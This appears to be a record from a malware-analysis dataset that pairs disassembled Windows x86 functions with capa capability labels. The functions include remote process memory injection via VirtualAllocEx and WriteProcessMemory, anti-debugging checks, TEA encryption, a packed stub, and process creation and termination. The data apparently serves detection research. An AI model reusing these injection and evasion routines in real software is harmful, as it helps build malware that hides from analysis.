joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401085
Capabilities:
Hide graphical window

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x40401a], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x404012], eax
mov dword [0x40406f], 0x4c
push dword [0x40401a]
pop dword [0x404077]
mov dword [0x40407b], 0x4040bb
mov dword [0x40408b], 0x404142
mov dword [0x40408f], 0x100
mov dword [0x4040a3], 0x281804
mov dword [0x40409f], 0x404000
push 0
push str.c:lantufinancial
call sub.kernel32.dll_CreateDirectoryA
push 0xa
push dword [0x404012]
push 0
push dword [0x40401a]
call 0x401085
push eax
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xffffffa4
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 0x2003
mov dword [ebp - 0x28], 0x4011cc
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [ebp + 8]
pop dword [ebp - 0x1c]
push 0x222222
call sub.gdi32.dll_CreateSolidBrush
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x401134
push 0x1f4
push dword [ebp + 8]
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x18], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
mov dword [ebp - 0x50], 0x384
mov dword [ebp - 0x54], 0x258
push 0
call sub.user32.dll_GetSystemMetrics
push eax
push dword [ebp - 0x50]
call fcn.004020f0
mov dword [ebp - 0x58], eax
push 1
call sub.user32.dll_GetSystemMetrics
push eax
push dword [ebp - 0x54]
call fcn.004020f0
mov dword [ebp - 0x5c], eax
jmp 0x401143
push 0
push dword [ebp + 8]
push 0
push 0
push dword [ebp - 0x54]
push dword [ebp - 0x50]
push dword [ebp - 0x5c]
push dword [ebp - 0x58]
push 0xcf0000
push section..data
push 0x401134
push 0
call sub.user32.dll_CreateWindowExA
mov dword [0x404016], eax
push 0x258
push dword [ebp + 8]
call sub.user32.dll_LoadMenuA
mov dword [0x40401e], eax
push 1
push dword [0x404016]
call sub.user32.dll_ShowWindow
push dword [0x404016]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
cmp eax, 0
je 0x4011c5
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x40119d
mov eax, dword [ebp - 0x44]
leave
ret 0x10
Function at 0x4023a0
Capabilities:
Read file on windows

Disassembly:
lea esi, [0x404416]
add esi, 0x2c
mov eax, 0x13
mov ebx, str.c:lantufinanciala
mov byte [eax + ebx - 2], 0x5c
push ebx
push dword [0x404595]
call sub.kernel32.dll_lstrcpyA
push esi
push dword [0x404595]
call sub.kernel32.dll_lstrcatA
push esi
call fcn.0040252c
mov byte [eax + esi - 1], 0
push esi
push dword [0x404638]
call sub.kernel32.dll_lstrcatA
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [0x404595]
call sub.kernel32.dll_CreateFileA
push eax
push 0x750
push dword [0x40458d]
call fcn.004024c0
push 0
push 0x404032
push 0x49c
push dword [0x404591]
push eax
call sub.kernel32.dll_ReadFile
push dword [0x404032]
push dword [0x404595]
push dword [0x40458d]
push dword [0x404591]
call fcn.00402207
push 0x40463c
push dword [0x404638]
call sub.kernel32.dll_lstrcatA
push dword [0x40458d]
push dword [0x404638]
call sub.kernel32.dll_lstrcatA
push 0x404568
push dword [0x404638]
call sub.kernel32.dll_lstrcatA
push dword [0x404595]
push dword [0x404638]
call sub.kernel32.dll_lstrcatA
push str._r_n_r_n
push dword [0x404638]
call sub.kernel32.dll_lstrcatA
mov esi, dword [0x40458d]
call fcn.0040232d
cmp dword [0x40440e], 1
jne 0x4024b2
neg ebx
add dword [0x404412], ebx
pop eax
push eax
call sub.kernel32.dll_CloseHandle
ret

Function at 0x6bf02c
Capabilities:
Packed with generic packer

Disassembly:
stc
jb 0x6bf05c
jg 0x6bf07d
sbb dword [esi], eax
outsd dx, dword [esi]
adc eax, 0xa7dbb52e
aas
outsd dx, dword [esi]
and ebp, dword [edx - 0x864361f]
sbb bh, bh
cdq
pop edx
adc eax, 0x1a96cddd
invalid
pushal
clc
jmp 0x6bf06d
call 0x6bf089
movsd dword es:[edi], dword [esi]
fadd qword [ecx + 0x62]
mov edi, 0x88e0a65a
jge 0x6bf083
mov eax, dword [0x252908d8]
leave
push es
add eax, 0xd4662357
pop esi
jmp 0x6bf09d
add esi, 0xffffff8e
jmp 0x6bf0c0
cmp dword [esi], 0
clc
jae 0x6bf0db
invalid
je 0x6bf283
jmp 0x6bf10d
mov edi, esi
jmp 0x6bf139
add esi, 4
jmp 0x6bf162
mov eax, dword [esi]
jmp 0x6bf181
add eax, esi
stc
jmp 0x6bf192
mov edx, dword [esi + 4]
jmp 0x6bf1aa
sub dword [eax], 0xfe6cce9f
jmp 0x6bf1c0
add eax, 4
jmp 0x6bf1f1
sub edx, 1
stc
jb 0x6bf213
js 0x6bf223
mov word [esi], gs
popal
xor byte [edi - 0x71], bh
fdivr dword [edi]
aaa
sti
pop ss
cmp edx, dword [ebp - 0x5e]
pop ebp
idiv byte [ebx - 0x11a2c810]
invalid
jne 0x6bf195
jmp 0x6bf222
add esi, 8
jmp 0x6bf24b
invalid
sub dword [edi], 1
clc
jmp 0x6bf252
jne 0x6bf13c
jae 0x6bf276
pop ds
adc eax, 0x7d7058d6
int3
mov ebx, esi
stc
jmp 0x6bf27e
call fcn.006bf2b6
jmp 0x6bf288
popal
jmp 0x6bf2b1
jmp 0x54e61c
Function at 0x485500
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push edi
mov dword [ebp - 0x134], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x130], 0
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x12c]
rep stosd dword es:[edi], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x485551
jmp 0x4855dd
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4855d0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x128]
push eax
call fcn.00485eb2
add esp, 8
cmp dword [ebp - 0x128], 0
je 0x4855b9
cmp dword [ebp - 8], 0
jne 0x4855b9
push 0x441250
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4855b9
mov edx, dword [ebp - 0x128]
push edx
call fcn.00485726
add esp, 4
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x485572
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x4857c3
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [0x4926b8], 1
mov eax, dword [0x494620]
mov dword [ebp - 4], eax
push 0x40
push 0x3000
mov ecx, dword [0x4926c0]
push ecx
push 0
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x494610], eax
cmp dword [0x494610], 0
jne 0x48580a
xor eax, eax
jmp 0x4858bf
mov dword [ebp - 0xc], 0
jmp 0x48581c
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [0x494604]
jae 0x485858
mov edx, dword [ebp - 0xc]
mov eax, dword [edx*4 + 0x4926c4]
add eax, dword [0x494610]
mov dword [ebp - 8], eax
push 4
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
add eax, dword [edx*4 + 0x493664]
push eax
call fcn.0048b890
add esp, 0xc
jmp 0x485813
push 0
mov ecx, dword [0x4926c0]
push ecx
mov edx, dword [0x494620]
push edx
mov eax, dword [0x494610]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x485898
push 0x8000
push 0
mov edx, dword [0x494610]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x4858bf
mov ecx, dword [0x494614]
add ecx, dword [0x494610]
sub ecx, dword [0x494620]
mov dword [0x494618], ecx
mov dword [0x4926bc], 1
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x485df3
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax + 0x14]
mov edx, dword [ebp + 0xc]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x485e27
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x28
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 8], ecx
jae 0x485e6d
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x485e4d
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jb 0x485e6b
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
add eax, dword [ebp - 0xc]
cmp dword [ebp + 8], eax
jae 0x485e6b
mov eax, dword [ebp - 4]
jmp 0x485e6f
jmp 0x485e15
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4863b3
Capabilities:
Allocate or change rwx memory
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push edi
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x240], 0
mov ecx, 0x88
xor eax, eax
lea edi, [ebp - 0x23c]
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4863ff
xor eax, eax
jmp 0x486546
mov dword [ebp - 0x240], 0x224
lea ecx, [ebp - 0x240]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x486516
mov eax, dword [0x49460c]
cmp eax, dword [ebp - 0x224]
je 0x4864fc
push 0xc
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x224]
push edx
mov eax, dword [ebp + 0xc]
push eax
call sub.PSAPI.DLL_GetModuleInformation
test eax, eax
je 0x4864fc
lea ecx, [ebp - 8]
push ecx
push 0x40
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x4864fc
push 4
push 0x1000
mov edx, dword [ebp - 0x18]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x4864fc
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x244]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
je 0x4864e8
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x244]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0048654b
add esp, 0x14
test eax, eax
je 0x4864e8
mov eax, 1
jmp 0x486546
push 0x8000
push 0
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea edx, [ebp - 0x240]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x486421
jmp 0x48653a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x24c], eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x24c], 0x12
jne 0x48653a
jmp 0x4863e4
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x486836
Capabilities:
Check for software breakpoints
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x2c], fcn.00486b87
mov esi, dword [ebp - 0x2c]
mov al, byte [esi]
cmp al, 0xcc
je 0x4868b8
mov dword [ebp - 0x10], fcn.00488ea0
mov esi, dword [ebp - 0x10]
mov al, byte [esi]
cmp al, 0xcc
je 0x4868b8
mov dword [ebp - 0x18], fcn.00487224
mov esi, dword [ebp - 0x18]
mov al, byte [esi]
cmp al, 0xcc
je 0x4868b8
mov dword [ebp - 0x24], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0x20
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
test eax, eax
jle 0x48691e
mov edx, dword [ebp - 8]
sub edx, 0x61c88647
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x28]
shl eax, 4
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 8]
xor eax, ecx
mov edx, dword [ebp - 0x28]
shr edx, 5
add edx, dword [ebp - 0xc]
xor eax, edx
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x1c]
xor edx, ecx
mov eax, dword [ebp - 0x28]
add eax, edx
mov dword [ebp - 0x28], eax
jmp 0x4868b8
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x20]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x486936
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x2c], fcn.00486b87
mov esi, dword [ebp - 0x2c]
mov al, byte [esi]
cmp al, 0xcc
je 0x4869b8
mov dword [ebp - 0x10], fcn.00488ea0
mov esi, dword [ebp - 0x10]
mov al, byte [esi]
cmp al, 0xcc
je 0x4869b8
mov dword [ebp - 0x18], fcn.00486936
mov esi, dword [ebp - 0x18]
mov al, byte [esi]
cmp al, 0xcc
je 0x4869b8
mov dword [ebp - 0x24], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 8], 0xc6ef3720
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0x20
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
test eax, eax
jle 0x486a1d
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x1c]
xor edx, ecx
mov eax, dword [ebp - 0x28]
sub eax, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
shl ecx, 4
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 8]
xor ecx, edx
mov eax, dword [ebp - 0x28]
shr eax, 5
add eax, dword [ebp - 0xc]
xor ecx, eax
mov edx, dword [ebp - 0x20]
sub edx, ecx
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 8]
add eax, 0x61c88647
mov dword [ebp - 8], eax
jmp 0x4869b8
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x20]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4872de
Capabilities:
Check for software breakpoints
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x2c], fcn.00486b87
mov esi, dword [ebp - 0x2c]
mov al, byte [esi]
cmp al, 0xcc
je 0x487360
mov dword [ebp - 0x10], fcn.00488ea0
mov esi, dword [ebp - 0x10]
mov al, byte [esi]
cmp al, 0xcc
je 0x487360
mov dword [ebp - 0x18], fcn.00487224
mov esi, dword [ebp - 0x18]
mov al, byte [esi]
cmp al, 0xcc
je 0x487360
mov dword [ebp - 0x24], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0x20
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
test eax, eax
jle 0x4873c6
mov edx, dword [ebp - 8]
sub edx, 0x61c88647
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x28]
shl eax, 4
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 8]
xor eax, ecx
mov edx, dword [ebp - 0x28]
shr edx, 5
add edx, dword [ebp - 0xc]
xor eax, edx
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x1c]
xor edx, ecx
mov eax, dword [ebp - 0x28]
add eax, edx
mov dword [ebp - 0x28], eax
jmp 0x487360
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x20]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4873de
Capabilities:
Check for software breakpoints
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x2c], fcn.00486b87
mov esi, dword [ebp - 0x2c]
mov al, byte [esi]
cmp al, 0xcc
je 0x487460
mov dword [ebp - 0x10], fcn.00488ea0
mov esi, dword [ebp - 0x10]
mov al, byte [esi]
cmp al, 0xcc
je 0x487460
mov dword [ebp - 0x18], fcn.00487224
mov esi, dword [ebp - 0x18]
mov al, byte [esi]
cmp al, 0xcc
je 0x487460
mov dword [ebp - 0x24], 0x9e3779b9
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 8], 0xc6ef3720
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0x20
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
test eax, eax
jle 0x4874c5
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x1c]
xor edx, ecx
mov eax, dword [ebp - 0x28]
sub eax, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
shl ecx, 4
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 8]
xor ecx, edx
mov eax, dword [ebp - 0x28]
shr eax, 5
add eax, dword [ebp - 0xc]
xor ecx, eax
mov edx, dword [ebp - 0x20]
sub edx, ecx
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 8]
add eax, 0x61c88647
mov dword [ebp - 8], eax
jmp 0x487460
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x20]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28]
mov dword [eax + 4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x488334
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax + 0x14]
mov edx, dword [ebp + 0xc]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x488368
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x28
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 8], ecx
jae 0x4883ae
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x48838e
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jb 0x4883ac
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
add eax, dword [ebp - 0xc]
cmp dword [ebp + 8], eax
jae 0x4883ac
mov eax, dword [ebp - 4]
jmp 0x4883b0
jmp 0x488356
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x488625
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
call fcn.004856da
push 0x44
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.0048c130
add esp, 0xc
mov dword [ebp - 0x44], 0x44
push 0x10
push 0
push 0x494630
call fcn.0048c130
add esp, 0xc
mov word [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x80
push 0x494630
lea ecx, [ebp - 0x44]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x494640
push 0x494b9c
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x488692
xor eax, eax
jmp 0x4886f3
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
push 0
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
push 0xffffffffffffffff
mov eax, dword [0x494630]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x494630]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x494634]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x494b9c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4887ce
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x494638]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x48a430
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0xf003f
push 0x481864
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x48a455
xor eax, eax
jmp 0x48a4a5
push 0xf01ff
push 0x481874
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x48a48c
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x48a4a5
cmp dword [ebp - 0x18], 4
jne 0x48a4a3
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
jmp 0x48a4a5
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x48a529
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x48a548
mov eax, 1
jmp 0x48a54a
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x48a551
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret